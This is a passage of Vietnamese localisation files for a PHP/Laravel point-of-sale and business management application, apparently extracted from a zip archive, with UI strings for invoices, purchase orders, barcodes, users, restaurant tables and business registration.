'Chi tiết điều chỉnh cổ phiếu', 'stock_transfer_details' => 'Chi tiết chuyển nhượng chứng khoán', 'invoice_layout_for_pos' => 'Bố cục hóa đơn cho POS', 'invoice_layout_for_sale' => 'Bố cục hóa đơn để bán', 'invoice_layout_for_sale_tooltip' => 'Bố cục hóa đơn cho bán hàng trực tiếp', 'new_quotation' => 'Báo giá mới', 'new_quotation_notification' => 'Thông báo báo giá mới', 'view_quote_url' => 'Xem url trích dẫn', 'close_cash_register' => 'Đóng máy tính tiền', 'view_cash_register' => 'Xem máy tính tiền', 'for_tax_group_only' => 'Chỉ dành cho nhóm thuế', 'for_tax_group_only_help' => 'Nếu được chọn, thuế này sẽ không được hiển thị riêng lẻ trong danh sách thả xuống, chỉ có thể được thêm vào nhóm thuế', 'exempt' => 'Miễn', 'tax_exempt_help' => 'Thuế suất 0% sẽ được coi là miễn thuế', 'show_total_in_words' => 'Hiển thị tổng số bằng chữ', 'show_in_word_help' => 'cần bật mở rộng php-intl', 'print_on_suspend' => 'In hóa đơn khi bị tạm ngưng', 'view_all_customer' => 'Xem tất cả khách hàng', 'view_own_customer' => 'Xem khách hàng của chính mình', 'view_all_supplier' => 'Xem tất cả nhà cung cấp', 'view_own_supplier' => 'Xem nhà cung cấp riêng', 'label_help' => 'In Mã vạch / Nhãn', 'connection_type_windows' => 'Loại kết nối Windows', 'connection_type_linux' => 'Loại kết nối Linux', 'windows_type_help' => 'Các tệp thiết bị sẽ nằm dọc theo dòng', 'linux_type_help' => 'Tệp thiết bị máy in của bạn sẽ ở đâu đó giống như', 'due_date' => 'Ngày đáo hạn', 'quotation_no' => 'Số báo giá', 'browser_based_printing' => 'In dựa trên trình duyệt', 'configured_printer' => 'Sử dụng máy in hóa đơn đã định cấu hình', 'for_normal_printer' => 'Đối với máy in thông thường', 'recomended_for_80mm' => 'Khuyến nghị cho máy in hóa đơn dòng nhiệt, khổ giấy 80mm', 'recomended_for_58mm' => 'Khuyến nghị cho máy in hóa đơn dòng nhiệt, khổ giấy 80mm và 58mm', 'classic' => 'Cổ điển', 'elegant' => 'Thanh lịch', 'slim' => 'Mảnh khảnh', 'detailed' => 'Chi tiết', 'columnize_taxes' => 'Đánh thuế chung', 'types_of_service_help_long' => 'Loại dịch vụ có nghĩa là các dịch vụ như ăn tối, bưu kiện, giao hàng tận nhà, giao hàng cho bên thứ ba, v.v. Nó có thể được bật / tắt từ <code> Cài đặt> Mô-đun </code> và có thể được tạo từ <code> Cài đặt> Loại dịch vụ </code>. Bạn cũng có thể xác định nhóm giá và phí đóng gói khác nhau cho các loại dịch vụ.', 'access_sell_return' => 'Truy cập bán trả lại', 'system_notification' => 'Thông báo hệ thống', 'time_range' => 'Phạm vi thời gian', 'enable_php_intl_extension' => 'Bật tiện ích mở rộng php-intl trong cài đặt PHP INI', 'profit_note' => '<b> Lưu ý: </b> Lợi nhuận theo sản phẩm / danh mục / thương hiệu chỉ xem xét chiết khấu nội tuyến. Giảm giá hóa đơn không được xem xét.', 'upcoming_bookings' => 'Đặt chỗ sắp tới', 'is_refund' => 'Được hoàn lại', 'is_refund_help' => 'Nếu chi phí đã kiểm tra sẽ được hoàn lại và sẽ được cộng vào lợi nhuận ròng', 'refund' => 'Hoàn tiền', 'activate' => 'Kích hoạt', 'deactivate' => 'Hủy kích hoạt', 'add_quotation' => 'Thêm Báo giá', 'product_stock_history' => 'Lịch sử kho sản phẩm', 'quantities_in' => 'Số lượng trong', 'quantities_out' => 'Số lượng ra', 'in' => 'Trong', 'out' => 'Ngoài', 'totals' => 'Tổng số', 'quantity_change' => 'Thay đổi số lượng', 'new_quantity' => 'Số lượng mới', 'no_stock_history_found' => 'Không tìm thấy lịch sử chứng khoán', 'add_draft' => 'Thêm Bản nháp', 'labels_for_sale_shipping_custom_fields' => 'Các trường tùy chỉnh vận chuyển nhãn để bán', 'is_required' => 'Bắt buộc', 'convert_to_invoice' => 'Chuyển đổi thành hóa đơn', 'converted_to_invoice_successfully' => 'Đã chuyển đổi thành hóa đơn :invoice_no thành công', 'proforma' => 'Proforma', 'proforma_invoice' => 'Hóa đơn chiếu lệ', 'convert_to_proforma' => 'Chuyển đổi sang Hóa đơn Proforma', 'converted_to_proforma_successfully' => 'Được chuyển đổi thành Hóa đơn chiếu lệ', 'billing_address' => 'Địa chỉ thanh toán', 'delete_sell' => 'Xóa Bán', 'product_brochure' => 'Tài liệu giới thiệu sản phẩm', 'whatsapp_text' => 'Văn bản Whatsapp', 'auto_send_wa_notif' => 'Tự động gửi thông báo Whatsapp', 'send_whatsapp' => 'Gửi thông báo Whatsapp', 'send_sms' => 'Gửi tin nhắn', 'send_email' => 'Gửi email', 'shipping_documents' => 'Chứng từ giao hàng', 'no_attachment_found' => 'Không tìm thấy tệp đính kèm', 'attachments' => 'Tệp đính kèm', 'print_invoice' => 'In hóa đơn', 'word_format' => 'Định dạng Word', 'international' => 'Quốc tế', 'indian' => 'Người Ấn Độ', 'word_format_help' => 'Ở định dạng quốc tế, các con số lớn được biểu thị bằng triệu, tỷ và nghìn tỷ trong khi ở định dạng Ấn Độ, nó được biểu thị bằng lakhs và crores', 'shipping_edited' => 'Đã chỉnh sửa giao hàng', 'payment_edited' => 'Thanh toán đã chỉnh sửa', 'notification_sent' => 'Đã gửi thông báo', 'imported' => 'Đã nhập', 'logout' => 'Đăng xuất', 'backup_clean_command_instruction' => 'Để dọn dẹp bản sao lưu cũ, bạn phải thiết lập cron job bằng lệnh này:', 'converted' => 'Chuyển đổi', 'view_commission_agent_sell' => 'Đại lý hoa hồng có thể xem doanh số của chính họ', 'access_commission_agent_shipping' => 'Đại lý hoa hồng có thể truy cập các lô hàng của chính họ', 'access_own_shipping' => 'Truy cập các lô hàng của chính mình', 'email_notification_sent' => 'Đã gửi thông báo qua email', 'sms_notification_sent' => 'Đã gửi thông báo SMS', 'packing_date' => 'Ngày đóng gói', 'print_exp_date' => 'In ngày hết hạn', 'print_packing_date' => 'In ngày đóng gói', 'print_lot_number' => 'In số lô', 'family_contact_number' => 'Số liên lạc của gia đình', 'custom_payment' => 'Thanh toán Tùy chỉnh :number', 'default_credit_limit' => 'Hạn mức tín dụng mặc định', 'price_calculation_type' => 'Loại tính giá', 'show_pricing_on_product_sugesstion' => 'Hiển thị giá trên chú giải công cụ đề xuất sản phẩm', 'all_purchase_orders' => 'Tất cả các đơn đặt hàng', 'add_purchase_order' => 'Thêm đơn đặt hàng', 'edit_purchase_order' => 'Chỉnh sửa đơn đặt hàng', 'purchase_order_details' => 'Chi tiết đơn đặt hàng', 'enable_purchase_order' => 'Bật đơn đặt hàng', 'purchase_order_help_text' => 'Đơn đặt hàng là một tài liệu thương mại và đề nghị chính thức đầu tiên do người mua cấp cho người bán chỉ rõ chủng loại, số lượng và giá cả đã thỏa thuận cho các sản phẩm hoặc dịch vụ. Nó được sử dụng để kiểm soát việc mua sản phẩm và dịch vụ từ các nhà cung cấp bên ngoài. Đơn đặt hàng có thể là một phần thiết yếu của đơn đặt hàng hệ thống hoạch định nguồn lực doanh nghiệp. ', 'view_all_purchase_order' => 'Xem tất cả đơn đặt hàng', 'view_own_purchase_order' => 'Xem đơn đặt hàng của chính mình', 'create_purchase_order' => 'Tạo đơn đặt hàng', 'delete_purchase_order' => 'Xóa đơn đặt hàng', 'purchase_order_delete_success' => 'Đã xóa đơn đặt hàng thành công', 'order_quantity' => 'Số lượng đặt hàng', 'order_date' => 'Ngày đặt hàng', 'max_quantity_quantity_allowed' => 'Max :quantity cho phép', 'leave_empty_to_autogenerate' => 'Để trống để tự động tạo', 'add_edit_invoice_number' => 'Thêm chỉnh sửa số hóa đơn', 'keep_blank_to_autogenerate' => 'Để trống để tự động tạo', 'download_pdf' => 'Tải PDF', 'attach_pdf_in_email' => 'Đính kèm pdf hóa đơn trong email', 'send_sms_whatsapp_notification' => 'Gửi thông báo sms / whatsapp', 'enable_sales_order' => 'Bật Đơn đặt hàng Bán hàng', 'sales_order' => 'Đơn đặt hàng', 'sales_order_help_text' => 'Đơn đặt hàng, đôi khi được viết tắt là SO, là đơn đặt hàng do một doanh nghiệp hoặc thương nhân duy nhất cấp cho khách hàng. Đơn đặt hàng có thể dành cho các sản phẩm và / hoặc dịch vụ.', 'add_sales_order' => 'Thêm đơn đặt hàng', 'edit_sales_order' => 'Chỉnh sửa Đơn đặt hàng', 'shipping_note' => 'Lưu ý vận chuyển', 'code_1_name' => 'Tên mã 1', 'code_2_name' => 'Tên mã 2', 'code_1' => 'Mã 1', 'code_2' => 'Mã 2', 'download_paking_pdf' => 'Tải xuống pdf đóng gói', 'subject_type' => 'Loại chủ đề', 'activity_log' => 'Hoạt động đăng nhập', 'sell_deleted' => 'Bán đã xóa', 'so_deleted' => 'Đơn hàng bán hàng đã bị xóa', 'po_deleted' => 'Đơn đặt hàng đã bị xóa', 'purchase_deleted' => 'Mua hàng đã bị xóa', 'contact_deleted' => 'Liên hệ đã bị xóa', 'payment_deleted' => 'Thanh toán đã bị xóa', 'quantity_remaining' => 'Số lượng còn lại', 'view_sale' => 'Xem Bán', 'update_sale' => 'Cập nhật Bán', 'add_sell' => 'Thêm Bán', 'account_details' => 'Chi tiết tài khoản', 'label' => 'Nhãn', 'prefer_payment_method' => 'Phương thức thanh toán ưu tiên', 'prefer_payment_account' => 'Tài khoản thanh toán ưu tiên', 'this_will_be_shown_in_pdf' => 'Phương thức / tài khoản ưu tiên mà khách hàng có thể thanh toán hóa đơn. (Hữu ích cho các hóa đơn tín dụng)', 'view_own_so' => 'Xem đơn hàng bán hàng của chính mình', 'view_all_so' => 'Xem tất cả đơn đặt hàng', 'create_so' => 'Tạo đơn hàng bán hàng', 'edit_so' => 'Chỉnh sửa đơn đặt hàng', 'delete_so' => 'Xóa đơn đặt hàng', 'types_of_service_custom_field_help' => 'Sáu trường tùy chỉnh sẽ có sẵn trong khi thêm bán', 'delete_expense' => 'Xóa chi phí', 'access_all_expense' => 'Truy cập tất cả các chi phí', 'designation' => 'Chỉ định', 'department' => 'Phòng ban', 'is_default_for_contact' => 'Được mặc định cho liên hệ', 'individual' => 'Cá nhân', 'is_export' => 'Có phải là xuất khẩu không?', 'export' => 'Xuất khẩu', 'export_custom_field1' => 'Xuất trường tùy chỉnh 1', 'export_custom_field2' => 'Xuất trường tùy chỉnh 2', 'export_custom_field3' => 'Xuất trường tùy chỉnh 3', 'export_custom_field4' => 'Xuất trường tùy chỉnh 4', 'export_custom_field5' => 'Xuất trường tùy chỉnh 5', 'export_custom_field6' => 'Xuất trường tùy chỉnh 6', 'enable_export' => 'Cho phép xuất', 'edit_status' => 'Chỉnh sửa trạng thái', 'status_updated' => 'Đã cập nhật trạng thái', 'item_discount_label' => 'Nhãn giảm giá mặt hàng', 'sales_orders' => 'Đơn bán hàng', 'cash_denominations' => 'Mệnh giá tiền mặt', 'cash_denominations_help' => 'Các giá trị được phân tách bằng dấu phẩy Ví dụ: 100,200,500,2000', 'denomination' => 'Mệnh giá', 'count' => 'Đếm', 'denomination_add_help_text' => 'Thêm mệnh giá trong Cài đặt -> Cài đặt Doanh nghiệp -> Máy POS -> Mệnh giá Tiền mặt', 'order_dates' => 'Ngày đặt hàng', 'by_category' => 'Theo danh mục', 'by_brand' => 'Theo thương hiệu', 'no_brand' => 'Không có thương hiệu', 'woocommerce_sync' => 'WooCommerce Sync', 'enable' => 'Bật', 'disable' => 'Vô hiệu hóa', 'cmmsn_calculation_type' => 'Loại tính toán hoa hồng', 'invoice_value' => 'Giá trị đơn hàng', 'total_payment_with_commsn' => 'Tổng số tiền thanh toán có hoa hồng', 'payments_with_cmmsn' => 'Thanh toán có hoa hồng', 'view_all_drafts' => 'Xem tất cả bản nháp', 'view_own_drafts' => 'Xem bản nháp của riêng mình', 'edit_draft' => 'Chỉnh sửa bản nháp', 'delete_draft' => 'Xóa bản nháp', 'view_all_quotations' => 'Xem tất cả các câu trích dẫn', 'view_own_quotations' => 'Xem trích dẫn riêng', 'edit_quotation' => 'Chỉnh sửa báo giá', 'delete_quotation' => 'Xóa báo giá', 'primary_work_location' => 'Vị trí cơ quan chính', 'labels_for_purchase_shipping_custom_fields' => 'Nhãn để mua các trường tùy chỉnh giao hàng', 'view_own_purchase_n_stock_adjustment' => 'Xem Điều chỉnh Mua & Cổ phiếu của chính mình', 'view_all_purchase_n_stock_adjustment' => 'Xem tất cả Điều chỉnh Mua & Cổ phiếu', 'access_all_shipments' => 'Truy cập tất cả các lô hàng', 'view_all_sale' => 'Xem tất cả đã bán', 'total_quantity' => 'Tổng số lượng', 'pending_shipments' => 'Lô hàng đang chờ xử lý', 'view_paid_sells_only' => 'Chỉ xem các chương trình bán trả phí', 'view_due_sells_only' => 'Xem đến hạn chỉ bán', 'view_partially_paid_sells_only' => 'Chỉ xem các sản phẩm bán trả tiền một phần', 'view_overdue_sells_only' => 'Chỉ xem quá hạn bán', 'customer_with_no_sell_one_month' => 'Xem khách hàng không bán chỉ từ một tháng', 'customer_with_no_sell_three_month' => 'Xem khách hàng không bán chỉ trong ba tháng', 'customer_with_no_sell_six_month' => 'Xem khách hàng không bán chỉ trong sáu tháng', 'customer_with_no_sell_one_year' => 'Xem khách hàng không bán chỉ trong một năm', 'customer_permissions_tooltip' => 'Để xem tất cả các khách hàng không bán được hàng từ một thời điểm cụ thể, cần có quyền <b> Xem tất cả khách hàng </b> nếu không, quyền này sẽ lọc chỉ với các khách hàng được tạo bởi người dùng đã đăng nhập', 'sell_permissions_tooltip' => 'Để xem các sản phẩm đã bán trên cơ sở trạng thái thanh toán, cần có quyền <b> Xem tất cả các sản phẩm đã bán </b> nếu không nó sẽ lọc chỉ với các sản phẩm bán được tạo bởi người dùng đã đăng nhập', 'access_pending_shipments_only' => 'Chỉ truy cập các lô hàng đang chờ xử lý', 'access_all_sell_return' => 'Access all sell retrun', 'access_own_sell_return' => 'Truy cập retrun bán riêng', 'proforma_heading' => 'Tiêu đề hóa đơn chiếu lệ', 'tooltip_proforma_heading' => 'Tiêu đề hóa đơn Proforma được sử dụng khi cung cấp Proforma cho khách hàng.', 'line_taxes' => 'Thuế dòng', 'add_additional_expenses' => 'Thêm chi phí bổ sung', 'additional_expense_name' => 'Tên chi phí bổ sung', 'purchase_additional_expense' => 'Mua thêm chi phí', 'qr_code' => 'Mã QR', 'show_qr_code' => 'Hiển thị mã QR', 'fields_to_be_shown' => 'Các trường được hiển thị', 'business_location_address' => 'Địa chỉ vị trí doanh nghiệp', 'business_tax_1' => 'Thuế kinh doanh 1', 'business_tax_2' => 'Thuế kinh doanh 2', 'invoice_datetime' => 'Ngày giờ lập hóa đơn', 'total_amount_with_tax' => 'Tổng số tiền có thuế', 'total_bank_transfer' => 'Tổng số chuyển khoản ngân hàng', 'total_advance_payment' => 'Tổng số tiền tạm ứng', 'commission_agent_label' => 'Nhãn đại lý hoa hồng', 'show_commission_agent' => 'Hiển thị đại lý hoa hồng', 'cannot_change_role' => 'Không thể thay đổi vai trò', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Liên kết thanh toán', 'enable_payment_link' => 'Bật liên kết thanh toán', 'payment_link_help_text' => 'Bằng cách cho phép người dùng có thể thanh toán hóa đơn bằng liên kết thanh toán', 'invoice_payment' => 'Thanh toán hóa đơn', 'payment_for_invoice_no' => 'Thanh toán cho số hóa đơn', 'pending_shipments' => 'Lô hàng đang chờ xử lý', 'sales_order_heading' => 'Tiêu đề Đơn đặt hàng', 'account_balance' => 'Số dư tài khoản', 'total_balance' => 'Tổng số dư', 'account_balance_tooltip' => 'Tổng số dư của tài khoản cụ thể', 'total_balance_tooltip' => 'Tổng số dư của tất cả các tài khoản', 'sell_additional_expense' => 'Bán thêm chi phí', 'view_export_buttons' => 'Xem xuất thành các nút (csv / excel / print / pdf) trên bảng', 'overall' => 'Tổng thể', 'show_labels' => 'Hiển thị Nhãn', 'zatca_qr' => 'Mã QR ZATCA (Fatoora)', 'zatca_qr_help' => 'Đối với đất nước Ả Rập Xê-út', 'customer_irrespective_of_sell' => 'Xem khách hàng bất kể họ bán hàng', 'img_url_help_text' => 'Hoặc URL của hình ảnh', 'delivery_person' => 'Nhân viên giao hàng', 'enable_service_staff_pin' => 'Bật mã PIN nhân viên dịch vụ', 'staff_pin' => 'Mã PIN Nhân viên', 'tooltip_is_enable_service_staff_pin' => 'Nếu được bật, trong quá trình bán hàng/POS khi người dùng này được chọn làm nhân viên dịch vụ, cần phải nhập mã PIN, mã PIN không đúng sẽ không cho phép chọn người dùng này làm nhân viên dịch vụ.', 'kitchen_order' => 'Đơn hàng bếp', 'kitchen_order_tooltip' => 'Đơn hàng sẽ chỉ được gửi đến bếp nếu tùy chọn này được chọn', 'disable_quotation' => 'Tắt Báo giá', 'disable_card' => 'Tắt Thẻ', 'assigned_to' => 'Được giao cho', 'has_no_sell_from' => 'Không có bán từ', 'delivery_note' => 'Chú thích giao hàng', 'above_mentioned_items_received_in_good_condition' => 'Các mục đã nói ở trên đã được nhận trong tình trạng tốt', 'received_by' => 'Được nhận bởi', 'enter_details_below_to_check_repair_status' => 'Nhập chi tiết bên dưới để kiểm tra Trạng thái Sửa chữa', 'search_by' => 'Tìm kiếm theo' ]; PK G �Zt�� � vi/barcode.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'barcodes' => 'Mã vạch', 'barcode_settings' => 'Cài đặt mã vạch', 'manage_your_barcodes' => 'Quản lý cài đặt mã vạch của bạn', 'all_your_barcode' => 'Tất cả các cài đặt mã vạch của bạn', 'setting_name' => 'Tên thiết lập nhãn dán', 'setting_description' => 'Cài đặt nhãn dán Mô tả', 'added_success' => 'Cài đặt mã vạch được thêm thành công', 'updated_success' => 'Cài đặt mã vạch được cập nhật thành công', 'deleted_success' => 'Đã xóa cài đặt mã vạch thành công', 'add_new_setting' => 'Thêm cài đặt mới', 'add_barcode_setting' => 'Thêm cài đặt nhãn dán mã vạch', 'edit_barcode_setting' => 'Chỉnh sửa cài đặt nhãn dán mã vạch', 'in_in' => 'Theo số inch', 'width' => 'Chiều rộng của nhãn dán', 'height' => 'Chiều cao của nhãn dán', 'top_margin' => 'Lề trên bổ sung', 'left_margin' => 'Bổ sung lề trái', 'row_distance' => 'Khoảng cách giữa hai hàng', 'col_distance' => 'Khoảng cách giữa hai cột', 'blank_stickers' => 'Nhãn trống', 'stickers_in_one_row' => 'Dán trong một hàng', 'delete_confirm' => 'Cài đặt này sẽ bị xóa \n Bạn có chắc không?', 'set_as_default' => 'Đặt làm mặc định', 'default' => 'Mặc định', 'default_set_success' => 'Mặc định được đặt thành công', 'stickers_in_one_sheet' => 'Số nhãn dán trên mỗi tờ', 'is_continuous' => 'Thức ăn hoặc cuộn liên tục', 'products' => 'Sản phẩm', 'no_of_labels' => 'Số nhãn dán', 'info_in_labels' => 'Thông tin hiển thị trong Nhãn', 'print_name' => 'Tên sản phẩm', 'print_variations' => 'Sản phẩm biến thể (khuyên dùng)', 'print_price' => 'Giá sản phẩm', 'show_price' => 'Hiển thị giá', 'preview' => 'Xem trước', 'print_business_name' => 'Tên doanh nghiệp', 'barcode_setting' => 'Cài đặt mã vạch', 'paper_width' => 'Chiều rộng giấy', 'paper_height' => 'Chiều cao giấy', 'print_labels' => 'In nhãn dán', 'labels' => 'Nhãn', ]; PK G �Z��i# # vi/user.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'edit_profile' => 'Chỉnh sửa hồ sơ', 'change_password' => 'Đổi mật khẩu', 'current_password' => 'Mật khẩu hiện tại', 'new_password' => 'Mật khẩu mới', 'confirm_new_password' => 'Xác nhận mật khẩu', 'user_management' => 'Quản lý người dùng', 'roles' => 'Vai trò', 'users' => 'Người dùng', 'manage_roles' => 'Quản lý vai trò', 'all_roles' => 'Tất cả vai trò', 'add_role' => 'Thêm vai trò', 'role_name' => 'Tên vai trò', 'permissions' => 'Permissions', 'role_added' => 'Đã thêm vai trò thành công', 'role_already_exists' => 'Vai trò có cùng tên đã tồn tại', 'edit_role' => 'Chỉnh sửa vai trò', 'role_updated' => 'Vai trò được cập nhật thành công', 'role_deleted' => 'Vai trò đã được xóa thành công', 'manage_users' => 'Quản lý người dùng', 'all_users' => 'Tất cả người dùng', 'name' => 'Tên', 'role' => 'Vai trò', 'add_user' => 'Thêm người dùng', 'user_added' => 'Người dùng đã thêm thành công', 'role_is_default' => 'Bạn không thể sửa đổi vai trò này', 'edit_user' => 'Chỉnh sửa người dùng', 'leave_password_blank' => 'Để trống trường mật khẩu nếu bạn không muốn cập nhật mật khẩu', 'user_update_success' => 'Người dùng cập nhật thành công', 'user_delete_success' => 'Người dùng đã xóa thành công', ]; PK G �Z� ��4 4 vi/restaurant.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Restaurant Language Lines |-------------------------------------------------------------------------- */ 'restaurant' => 'Nhà hàng', 'tables' => 'Những cái bàn', 'table' => 'Bàn', 'manage_your_tables' => 'Quản lý bàn nhà hàng', 'all_your_tables' => 'Tất cả các bàn nhà hàng', 'description' => 'Mô tả', 'add_table' => 'Thêm bàn', 'edit_table' => 'Sửa bàn', 'table_name' => 'Tên bàn', 'short_description' => 'Mô tả ngắn', 'select_table' => 'Chọn bàn', 'show_table' => 'Hiển thị bàn', 'table_label' => 'Nhãn bàn', 'show_service_staff' => 'Hiển thị nhân viên phục vụ', 'service_staff_label' => 'Nhân viên phục vụ', 'select_waiter' => 'Chọn người phục vụ', 'modifiers' => 'Công cụ sửa đổi', 'modifier_sets' => 'Bộ sửa đổi', 'manage_your_modifiers' => 'Quản lý tất cả các sửa đổi nhà hàng', 'all_your_modifiers' => 'Tất cả các sửa đổi', 'add_modifier' => 'Thêm công cụ sửa đổi', 'modifier_set' => 'Chỉnh sửa bộ', 'modifier' => 'Công cụ sửa đổi', 'edit_modifier' => 'Edit Modifier', 'manage_products' => 'Quản lý sản phẩm', 'products' => 'Các sản phẩm', 'modifiers_for_product' => 'Công cụ sửa đổi cho sản phẩm', 'kitchen' => 'Phòng bếp', 'mark_as_cooked' => 'Đánh dấu là nấu chín', 'manage_your_kitchen' => 'Quản lý bếp của bạn', 'all_orders' => 'Tất cả đơn đặt hàng', 'order_no' => 'Đơn hàng số', 'order_statuses' => [ 'received' => 'Nhận', 'cooked' => 'Nấu chín', 'served' => 'Phục vụ', '' => 'Nhận', ], 'order_successfully_marked_cooked' => 'Đặt hàng thành công được đánh dấu là nấu chín', 'order_successfully_marked_served' => 'Đặt hàng thành công được đánh dấu là phục vụ', 'orders' => 'Đơn đặt hàng', 'manage_your_orders' => 'Quản lý đơn hàng', 'all_your_orders' => 'Tất cả các đơn đặt hàng', 'mark_as_served' => 'Đánh dấu là phục vụ', 'placed_at' => 'Đặt tại', 'order_status' => 'Tình trạng đặt hàng', 'order_details' => 'Chi tiết đặt hàng', 'refresh' => 'Làm mới', 'no_orders_found' => 'Không tìm thấy đơn hàng', 'select_service_staff' => 'Chọn nhân viên phục vụ', 'service_staff' => 'Nhân viên phục vụ', 'kitchen_for_restaurant' => 'Bếp (Dành cho nhà hàng)', 'products_for_modifier' => 'Sản phẩm sửa đổi', 'is_service_staff' => 'Là nhân viên phục vụ', 'tooltip_tables' => 'Được sử dụng chủ yếu trong các nhà hàng, quán bar, tiệm, vv', 'tooltip_modifiers' => 'Các mặt hàng bổ sung được thêm vào với sản phẩm chính<br>Ví dụ: trứng, phô mai', 'tooltip_service_staff' => 'Người cung cấp dịch vụ được chỉ định cho khách hàng<br> Ví dụ: Nhân viên phục vụ tại nhà hàng, Thợ làm tóc trong tiệm', 'modules_settings' => 'Cài đặt mô-đun', 'bookings' => 'Đặt chỗ', 'add_edit_view_all_booking' => 'Thêm / Chỉnh sửa / Xem tất cả các đặt phòng', 'add_edit_view_own_booking' => 'Thêm / Chỉnh sửa / Xem đặt chỗ riêng', 'add_booking' => 'Thêm đặt chổ mới', 'start_time' => 'Bắt đầu', 'end_time' => 'Kết thúc', 'booking_not_available' => 'Bàn đã được đặt cho <b>:customer_name</b> giữa <b>:booking_time_range</b>', 'select_correspondent' => 'Select correspondent', 'send_notification_to_customer' => 'Gửi thông báo Email / SMS cho khách hàng', 'booking_details' => 'Chi tiết đặt phòng', 'correspondent' => 'Correspondent', 'booking_starts' => 'Đặt phòng bắt đầu', 'booking_ends' => 'Đặt phòng kết thúc', 'cancelled' => 'Đã hủy', 'completed' => 'Đã hoàn thành', 'change_booking_status' => 'Thay đổi trạng thái đặt phòng', 'booked' => 'Đã đặt', 'delete_booking' => 'Xóa đặt phòng', 'click_on_any_booking_to_view_or_change_status' => 'Nhấp vào bất kỳ đặt phòng để xem chi tiết hoặc thay đổi trạng thái', 'double_click_on_any_day_to_add_new_booking' => 'Nhấp đúp chuột vào bất kỳ ngày nào để thêm đặt chổ mới', 'todays_bookings' => 'Đặt phòng hôm nay', 'hello_name' => 'Chào :name!', 'booking_confirmed' => 'Đặt phòng của bạn đã được xác nhận.', 'table_info' => 'Bàn: :table', 'booking_time_info' => 'Từ :from đến :to', 'new_booking_subject' => 'Đặt phòng mới - :business_name', 'customer_note' => 'Lưu ý khách hàng', 'table_report' => 'Báo cáo bàn', 'service_staff_report' => 'Nhân viên phục vụ', 'service_staff_replacement' => 'Thay thế nhân viên phục vụ', ]; PK G �Z s9� � vi/purchase.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Purchase Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Purchase screens | */ 'supplier' => 'Nhà cung cấp', 'ref_no' => 'Số tham chiếu', 'business_location' => 'Địa điểm kinh doanh', 'purchases' => 'Mua hàng', 'add_payment' => 'Thêm thanh toán', 'edit_payment' => 'Sửa thanh toán', 'view_payments' => 'Xem thanh toán', 'amount_already_paid' => 'Số tiền đã được thanh toán', 'payment_added_success' => 'Đã thanh toán thành công', 'payment_updated_success' => 'Thanh toán được cập nhật thành công', 'payment_deleted_success' => 'Đã xóa thanh toán thành công', 'view_payments' => 'Xem thanh toán', 'amount' => 'Số tiền', 'payment_method' => 'Phương thức thanh toán', 'no_records_found' => 'Không có dữ liệu được tìm thấy', 'payment_due' => 'Nợ mua hàng', 'purchase_total' => 'Tổng số mua', 'location' => 'Vị trí', 'payment_note' => 'Ghi chú thanh toán', 'all_purchases' => 'Tất cả mua hàng', 'purchase_status' => 'Tình trạng mua hàng', 'payment_status' => 'Tình trạng thanh toán', 'grand_total' => 'Tổng cộng', 'add_purchase' => 'Thêm mua hàng', 'purchase_date' => 'Ngày mua', 'purchase_quantity' => 'Số lượng mua', 'unit_cost_before_tax' => 'Đơn giá (Trước thuế)', 'subtotal_before_tax' => 'Tổng phụ (Trước thuế)', 'product_tax' => 'Thuế sản phẩm', 'net_cost' => 'Chi phí ròng', 'line_total' => 'Tổng giá trị', 'unit_selling_price' => 'Giá bán ra', 'total_before_tax' => 'Tổng số tiền, chưa tính thuế', 'net_total_amount' => 'Tổng số tiền ròng', 'discount_type' => 'Loại giảm giá', 'discount_amount' => 'Số tiền giảm', 'discount' => 'Giảm giá', 'edit_purchase' => 'Sửa mua hàng', 'purchase_tax' => 'Thuế mua hàng', 'shipping_details' => 'Chi tiết vận chuyển', 'additional_shipping_charges' => 'Phí vận chuyển bổ sung', 'purchase_total' => 'Tổng số mua', 'additional_notes' => 'Ghi chú bổ sung', 'purchase_add_success' => 'Đã thêm thành công', 'purchase_update_success' => 'Mua hàng cập nhật thành công', 'purchase_details' => 'Chi tiết mua hàng', 'unit_cost_after_tax' => 'Đơn giá (sau thuế)', 'total_after_tax' => 'Tổng số sau thuế', 'no_payments' => 'Không tìm thấy thanh toán', 'allow_purchase_different_currency' => 'Mua bằng loại tiền khác', 'purchase_currency' => 'Mua tiền tệ', 'p_exchange_rate' => 'Tỷ giá hối đoái', 'diff_purchase_currency_help' => 'Tiền tệ mua được đặt thành <strong>:currency</strong>', 'list_purchase' => 'Danh sách mua hàng', 'attach_document' => 'Đính kèm tài liệu', 'download_document' => 'Tải tài liệu', 'max_file_size' => 'Kích thước tệp tối đa: :sizeMB', ]; PK G �Z�5%T� � vi/business.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'register_and_get_started_in_minutes' => 'Đăng ký và bắt đầu trong vài phút', 'business_name' => 'Tên doanh nghiệp', 'start_date' => 'Ngày bắt đầu', 'currency' => 'Tiền tệ', 'currency_placeholder' => 'Chọn tiền tệ', 'upload_logo' => 'Tải lên Logo', 'country' => 'Quốc gia', 'state' => 'Tỉnh/TP', 'city' => 'Quận/Huyện/Tx', 'zip_code' => 'Zip Code', 'zip_code_placeholder' => 'Zip/Postal Code', 'landmark' => 'Số nhà, Đường, Phường', 'tax_1_name' => 'Tên thuế 1', 'tax_1_no' => 'Thuế 1 No.', 'tax_2_name' => 'Tên thuế 2', 'tax_2_no' => 'Thuế 2 No.', 'tax_1_placeholder' => 'GST/VAT/khác', 'prefix' => 'Prefix', 'prefix_placeholder' => 'Anh / Chị', 'first_name' => 'Tên', 'last_name' => 'Họ & Lót', 'username' => 'Tên đăng nhập', 'email' => 'Email', 'password' => 'Mật khẩu', 'confirm_password' => 'Xác nhận mật khẩu', 'register' => 'Đăng ký', 'business' => 'Kinh doanh', 'address' => 'Địa chỉ nhà', 'logo_help' => 'Logo trước đó (nếu tồn tại) sẽ được thay thế', 'update_settings' => 'Cập nhật cài đặt', 'business_settings' => 'Cài đặt doanh nghiệp', 'settings_updated_success' => 'Cài đặt được cập nhật thành công', 'default_profit_percent' => '% lợi nhuận mặc định', 'default_sales_tax' => 'Thuế 